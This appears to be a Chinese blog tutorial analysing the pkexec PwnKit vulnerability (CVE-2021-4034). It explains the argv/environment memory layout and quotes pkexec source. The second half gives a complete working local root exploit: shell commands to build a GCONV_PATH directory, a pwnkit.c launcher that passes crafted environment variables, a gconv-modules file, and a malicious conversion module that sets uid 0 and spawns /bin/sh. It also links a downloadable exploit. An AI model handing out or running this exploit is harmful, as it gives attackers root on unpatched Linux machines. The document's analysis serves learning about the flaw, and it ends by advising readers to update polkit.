当你在linux下要查看文件时,运行列如像cat这样的程序
所以整个参数数组看起来如下:
cat test.txt
0 1
cat是第一个参数索引’0’,第一个参数通常是程序本身的名称,在我们的例子中它是cat
第二个参数是我们刚刚提供带有索引’1’的test.txt的文件名,这些都是字符串
但是在内存中,过程看起来像这样
0|1|2|…|0|1|2…
args env
因此你有一堆参数堆叠在一个地方,环境变量就在它旁边,首先是参数列表,然后是环境变量列表
那么真正将参数与环境变量区分开来的,比如这里真正的边界是什么?
这是一个重要的问题,因为内存是连续的,所以必须有一个明确的边界
0|1|2|null|0|1|2…
args env
如果参数最后一个元素为null,这意味着是参数结束的地方和环境变量开始的地方
cat test.txt null
0 1 2
这是我们之前cat的示例,这里数组的第三个元素就是null,这就是参数结束的地方和环境变量开始的地方
https://gitlab.freedesktop.org/polkit/polkit/-/blob/0.105/src/programs/pkexec.c#L481
for (n = 1; n < (guint) argc; n++) /这是一个循环,从变量n设置为1开始
{
if (strcmp (argv[n], "--help") == 0) /然后它会检查在运行时提供给pkexec程序的参数
{
opt_show_help = TRUE;
}
else if (strcmp (argv[n], "--version") == 0)
{
opt_show_version = TRUE;
}
else if (strcmp (argv[n], "--user") == 0 || strcmp (argv[n], "-u") == 0)
{
n++;
if (n >= (guint) argc)
{
usage (argc, argv);
goto out;
}
g_assert (argv[argc] == NULL);
path = g_strdup (argv[n]); /读取第N个参数,并将其设置为变量路径
if (path == NULL)
{
usage (argc, argv);
goto out;
}
if (path[0] != '/')
{
/* g_find_program_in_path() is not suspectible to attacks via the environment */
s = g_find_program_in_path (path);
if (s == NULL)
{
g_printerr ("Cannot run program %s: %s\n", path, strerror (ENOENT));
goto out;
}
g_free (path);
argv[n] = path = s; /它读取程序的路径并将其设置回来到参数数组
}
if (access (path, F_OK) != 0)
看完这两段代码,你就会发现一个问题
null|…|…|…|
args
如果第一个元素是null,会发生什么,带着这个问题,我们再次回到源代码中看一遍
for (n = 1; n < (guint) argc; n++) /最初n从这个循环中变为1,因为它与任何情况都不匹配,在值n设置为1的情况下打破这个循环
{
……
}
……
path = g_strdup(argv[n]); //在这里,他试图读取n的参数,我们知道n现在的参数为1,但我们第0个数组是null,这意味这参数应该在那里结束,但这行代码仍在尝试读取超出范围的内容,因此当它超出范围时,读取的内容为环境变量,前面我们说过,null结束后就是环境变量的开始,所以在这里,当它尝试读取第二个参数时,实际上读取的是环境变量
……
if (path[0] != '/') /如果没有路径变量
{
s = g_find_program_in_path(path); /则越界读取'不以正斜杠开头'
……
argv[n] = path =s; /在这里回到n的路径
}
这是越界,所以现在我们可以用某种方式利用这些,比如我们可以将如何环境变量注入到进程中
我们可以在启动过程时添加一个环境变量,它们被称为’unsercure env vars’不安全的环境变量
https://code.woboq.org/userspace/glibc/sysdeps/generic/unsecvars.h.html
例如LD_preload,这样的环境变量会在uid程序上为用户运行的程序自动过滤的环境变量
https://code.woboq.org/userspace/glibc/elf/dl-support.c.html#348
如果它们没有被过滤,那么这是一个权限提升,但开发者知道这些攻击,因此从父进程到子进程限制了一些环境变量的传递
所以我们不能真正注入所有类型的环境变量,但由于我们有pkexec程序里的
argv[n] = path =s
我们可以使用它来注入不安全的环境变量,但在这之后有一个小问题,他调用clear env
if (clearenv () != 0) /清除每个环境变量
{
g_printerr ("Error clearing environment: %s\n", g_strerror (errno));
goto out;
}
/* Initialize the GLib type system - this is needed to interact with the
* PolicyKit daemon
*/
g_type_init ();
/* make sure we are nuked if the parent process dies */
#ifdef __linux__
if (prctl (PR_SET_PDEATHSIG, SIGTERM) != 0)
{
g_printerr ("prctl(PR_SET_PDEATHSIG, SIGTERM) failed: %s\n", g_strerror (errno));
goto out;
}
这意味着我们需要找到一种方法来执行代码,从代码越界的地方开始执行到它清除所有环境变量之前
所以让我们再次在程序越界之后看一下代码
if (!validate_environment_variable (key, value)) /它调用了验证环境变量的函数
goto out;
g_ptr_array_add (saved_env, g_strdup (key));
g_ptr_array_add (saved_env, g_strdup (value));
}
if (g_strcmp0 (key, "SHELL") == 0)
{
/* check if it's in /etc/shells */
if (!is_valid_shell (value))
{
log_message (LOG_CRIT, TRUE,
"The value for the SHELL variable was not found the /etc/shells file");
g_printerr ("\n"
"This incident has been reported.\n"); /错误条件调用的地方
goto out;
}
}
else if ((g_strcmp0 (key, "XAUTHORITY") != 0 && strstr (value, "/") != NULL) ||
strstr (value, "%") != NULL ||
strstr (value, "..") != NULL)
{
log_message (LOG_CRIT, TRUE,
"The value for environment variable %s contains suscipious content",
key);
g_printerr ("\n"
"This incident has been reported.\n"); /错误条件调用的地方
goto out;
}
g_print这个函数有点重要,它可以帮助我们获得权限提升
这就是这个g_print错误函数通常的打印utf8错误消息的方式
但如果不是utf-8字符,他实际上会调用另一个函数,尝试使用转换模块将错误的utf-8字符转换为正确的
所以这里是关键的地方,我们需要完全控制这个转换模块
想法是
我们设置一个utf-8以外的东西,触发一个错误的判断,然后就会调用一个转换模块,我们可以使用一个名为gconv_path的环境变量来指定它,这个ICONV_OPEN函数会查看环境变量并从那里获取我们恶意的转换模块,一旦成功传输了我们的转换模块,它会尝试执行转换字符集,但实际上它是在执行我们的恶意代码,更重要的是,它是以root的身份执行的
首先我们先创建一个名为GCONV_PATH的目录
mkdir 'GCONV_PATH=.'
然后并在其中放在一个名为pwn的文件
touch GCONV_PATH\=./pwn
chmod +x pwn
然后新建一个文件
touch pwnkit.c
写入以下的代码
#include
int main() {
char *argv[] = { NULL };
char *envp[] = {
"pwn",
"TERM=..",
"PATH=GCONV_PATH=.",
"CHARSET=BRUH",
NULL
};
execve("/usr/bin/pkexec", argv, envp);
return 0;
}
解释
int main() {
char *argv[] = { NULL };
char *envp[] = {
"pwn", /我们将第一个环境变量设置pwn
"TERM=..", /这里会触发g_print打印错误
"PATH=GCONV_PATH=.", /然后环境变量等于GCONV_PATH
"CHARSET=BRUH", /设置为bruh来触发认为这不是utf-8的判断,并且它会尝试进行转换
NULL
};
execve("/usr/bin/pkexec", argv, envp);
return 0;
}
创建一个名为phone的目录
mkdir phone
然后再在phone目录下创建pwn目录
mkdir pwn
echo 'module UTF-8// BRUH// conversion-mod 1' > gconv-modules
touch conversion-mod.c
然后写入
#define _GNU_SOURCE
#include
#include
int gconv_init() {
setuid(0);
setgid(0);
char *args[] = {"sh", NULL};
char *envp[] = {"PATH=/bin:/usr/bin:/sbin", NULL};
execvpe("/bin/sh", args, envp);
return(__GCONV_OK);
}
int gconv(){ return(__GCONV_OK); }
解释
#define _GNU_SOURCE
#include
#include
int gconv_init() {
setuid(0);
setgid(0); /都设置为零的意思是root
char *args[] = {"sh", NULL};
char *envp[] = {"PATH=/bin:/usr/bin:/sbin", NULL};
execvpe("/bin/sh", args, envp); /创建一个简单的shell
return(__GCONV_OK);
}
int gconv(){ return(__GCONV_OK); }
最后用gcc编译所有的c文件
然后运行pwnkit文件
或者下载
https://github.com/PwnFunction/CVE-2021-4034
在文件目录输入命令
make all
避免被利用的方式是更新polkit,这篇文章写了一天,欢迎大家来关注我,之后也会写很多类似的分析文章